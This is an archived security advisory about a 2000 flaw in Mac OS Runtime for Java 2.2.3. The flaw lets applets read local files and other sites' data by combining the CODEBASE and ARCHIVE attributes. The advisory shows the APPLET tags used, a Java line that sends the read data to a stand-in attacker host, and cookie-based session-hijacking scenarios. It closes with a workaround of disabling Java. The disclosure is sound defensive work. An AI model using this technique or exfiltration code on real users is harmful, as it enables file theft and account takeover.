TUCoPS :: Macintosh :: mrj.htm

MRJ 2.2.3 (Mac OS Runtime for Java) Read Arbitrary Files

    Mac OS Runtime for Java


    MRJ 2.2.3 (Mac OS Runtime for Java)


    Hiromitsu Takagi found  following.  Version  2.2.3 of MRJ  (Mac OS
    Runtime  for  Java).   This  has  not  been confirmed yet, but all
    older versions  may be  affected also.   It is  also affected that
    Web browser for Mac OS,  Internet Explorer 4.5 and 5,  Netscape 6,
    iCab and other software all of which use MRJ.

    "MRJ" is installed  in all recent  Mac OS as  a standard provision
    and is used in  browsing Web pages.   This security hole is  found
    existing in the following combinations:

        o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5
        o Mac OS + MRJ 2.2.3 + Internet Explorer 5
        o Mac OS + MRJ 2.2.3 + Netscape 6
        o Mac OS + MRJ 2.2.3 + iCab pre2.2
        o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76

    This bug  exposes the  browsing user  to the  following damage the
    moment  he  or  she  accidentally  or  otherwise  browses  a  page
    intentionally set by a malicious Web site operator:
    (1) Arbitrary files in the  computer of the browsing user  will be
    (2) The browser of the browsing  user will be taken over and  will
        be made to access an arbitrary Web site.
    (3) Information in Web pages that is disclosed only to the  inside
        of the organization (intranet) will be stolen.

    A demonstration  applet to  verify the  existence of  this bug has
    been created:


    Pressing the "Execute" button will  output the list of file  names
    in the volume "Macintosh HD" in the TextArea under.  See:


    If Macintosh  is used  by changing  the volume  name to other than
    "Macintosh HD," which  is the default,  input the changed  name to
    the TextField on  the left of  the "Execute" button  and press the
    "Execute" button.

    Pressing "Send this to the server" button will transfer the data
    in the TextArea to the server.  The server is configured to
    return received data as it is and the data will be displayed on
    the browser screen.  See Fig. 2.:


    Do not press the "Send this to the server" button unless you  wish
    data to  be transferred.   It has  been confirmed  that file  data
    will  also  be  read  and  that  connection  to any server will be
    possible even  though this  demonstration applet  reads only  file

    The threat brought  about by Problem  (1) is obvious  and does not
    have to be explained.  The  reader is requested to see a  document
    published earlier, "Danger  of Security Defect  of Any Host  Being
    Accessed" on Problem (3):


    The  remaining  problem,  Problem  2),  does  not seem to be known
    fully.  As one of the  threats brought about by the Brown  Orifice
    security hole reported  in August 2000,  this problem has  already
    been  taken  up  in   BugTraq  also.   Nevertheless,   Microsoft's
    document MS00-081 fails to mention about this threat.  Threat  (2)
    is explained below.

    The threat posed by the bug allowing the Java applet accessing any
    host  is  not  confined  to  information  read  out  only.  If the
    java.net.  URLConnection  function supports Cookie,  the following
    threat will occur.

    In case browsers  of the browsing  users are forcibly  accessed by
    sites  designated  by  intentions  of  malicious Web site setters,
    such  accessing  will  become   accessing  based  on   information
    (Cookies) unique to  the browser and  will be deemed  as operation
    by the browsing users themselves.

    As a result, the browsing users may be penalized as follows:
    - Electronic commerce sites using Cookies with an indefinite  time
      limit  will  be  accessed  for  authenticattion  of  the   users
      themselves and false purchase orders will be issued.

      Sites that do not require password input, such as placing orders
      by clicking  only, may  be authenticating  the users  only by  a
      Cookie with an indefinite time limit.

    - In  case  the  users  are  authenticated only by a Cookie,  even
      electronic commerce sites operated by a Cookie that is set  with
      a term of validity  may sometimes issue purchase  orders without
      inputting  a  password  because  a  Cookie  within  this term of
      validity is  used if  they are  accessed by  sites, which have a
      mechanism  to  abuse  this  security  hole,  immediately   after
      transaction sites are used.

    - Among services which authenticate  the users by a Cookie  with a
      set  term  of  validity,  those  Web mail system services almost
      certainly have operations of  their Web mail systems  taken over
      when they receive mail embedded  with a malicious applet.   As a
      result, mail is  stolen and is  read and false  mail is sent  by
      malicious users who disguise as browsing users.

      The reason for "almost certainly"  is as follows.  The  moment a
      browsing user accesses an applet, which is a trap, the  browsing
      user is naturally using the  Web mail system and the  Cookie for
      the Web  mail system  is always  within its  term of validity so
      that the Web mail is taken over almost certainly.

    As a  security constraint,  the Java  applet is  designed allowing
    information to be  read only from  the Web site  of the party  who
    originally downloaded the  applet program.   In Java VM,  the site
    of  the  original  downloading  source  is  displayed  in  URL  as
    "CODEBASE." In the  <APPLET> tag, which  is used when  pasting the
    Java applet  in a  Web page,  the original  download source of the
    applet  can  be  designated  by  the  attribute  "CODEBASE."   For
    example, when

        <APPLET CODE="Test" CODEBASE="http://www.target.example/">

    is written, the applet program will be downloaded from


    regardless of  where HTML  written in  the tags  is located.   The
    applet   is   restricted   to   read   only   the  information  of

    On the other hand, the  <APPLET> tag has the attribute  "ARCHIVE,"
    allowing loading Java  applet programs which  are archived in  the
    JAR file.  For example, when

        <APPLET CODE="Test" ARCHIVE="Test.jar">

    is  written,  the  "Test.jar"  file  that  is  located in the same
    directory as that of the HTML file will be downloaded.

    What  will  happen  if  both  attributes  CODEBASE and ARCHIVE are
    designated?  For example, when

        <APPLET CODE="Test"

    are  described  and  if  an  applet  program  is  downloaded  from
    "www.malicious.example,"  this  applet  will  be  able to read the
    information  of  "www.target.example."   If  this  is  the case, a
    security problem will arise.

    The CODEBASE attribute  must be made  to be ignored  or the applet
    must be disabled to start  in case these conflicting CODEBASE  and
    ARCHIVE attributes are designated.

    In spite of this, MRJ 2.2.3 safely activates the applet and allows
    reading  information  of  the  site  designated  by  the  CODEBASE

    By designating  "file:///" URL  as the  CODEBASE attribute,  local
    files too can be read.

        <APPLET CODE="Test"

    Some of the readers will question; the applet can communicate with
    only the hosts  of CODEBASE and  cannot send the  information to a
    malicious  server  even  though  the  applet can read information,
    which  it  should  not  be  allowed  to  read.  However, at least,
    information can be transferred by the following method:

        String cgi = "http://www.malicious.example/receive-query.cgi";
        getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data)));

    This bug is  based on the  same theory as  that of bug  of Windows
    Internet Explorer "MS00-81" reported on October 18 2000 by  Georgi
    Guninski.   MS00-081 was a bug that caused the same phenomenon  as
    that of this bug  when an applet is  started by the <OBJECT>  tag.
    The only  difference is  that the  MRJ bug  now being discussed is
    caused by the <APPLET> tag and not by the <OBJECT> tag.

    It was careless on the part of Microsoft that they overlooked  the
    fact  the  <OBJECT>  tag  would  have  a similar problem when they
    fixed this bug  of the <APPLET>  tag by MS00-001.   Be that as  it
    may,  why  did  not  Apple  Computer  recognize  at  that time the
    possibility of  the same  problem occurring  again with  their own

    Furthermore, what is  surprising is that  this bug seemed  to have
    existed in JDK of Sun Microsystems.  This phenomenon is reproduced
    when  the  foregoing  demonstration  applet  for  verification  is
    opened by  the appletvirewr  of JDK1.1.4.   However, it  does  not
    reproduce in JDK  1.1.5.  It  appears that Sun  knew this bug  and
    fixed  it  in  JDK1.1.5.   However,  Sun's  page  summarizing  its
    history of security problems in the past related to Java does  not
    describe  it.   Did  Sun  notify  other  Java VM vendors when they
    fixed this  bug in  their JDK  1.1.5?   Did any  one in Sun notice
    that MRJ was not fixed yet?


    Wait until a version of MRJ  fixing this bug is released by  Apple
    Computer and install it.    This version has not been released  as
    of December 14 2000.   The latest version of  MRJ can be  obtained
    through the following site:  http://www.apple.com/java/

    As long as fixed MRJ  cannot be obtained, stop the  Java functions
    of the Web browser.

    For Internet Explorer:   Select "Preferences" in the  "Edit" menu.
    Select "Java" and check off the check box "Enable Java."

    For Netscape 6:  Select "Preferences" in the "Edit" menu.   Select
    "Advanced" in "Category" on the  left and check off the  check box
    "Enable Java."

    For  iCab:   Select  "Preferences"  in  the  "Edit"  menu.  Select
    "Settings  /  Security"  in  "Java"  and  check  off the check box
    "Execute Java applets."

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH